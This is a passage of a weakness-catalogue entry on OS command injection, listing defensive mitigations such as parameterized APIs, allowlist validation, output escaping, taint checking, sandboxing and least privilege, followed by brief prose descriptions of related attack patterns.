For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.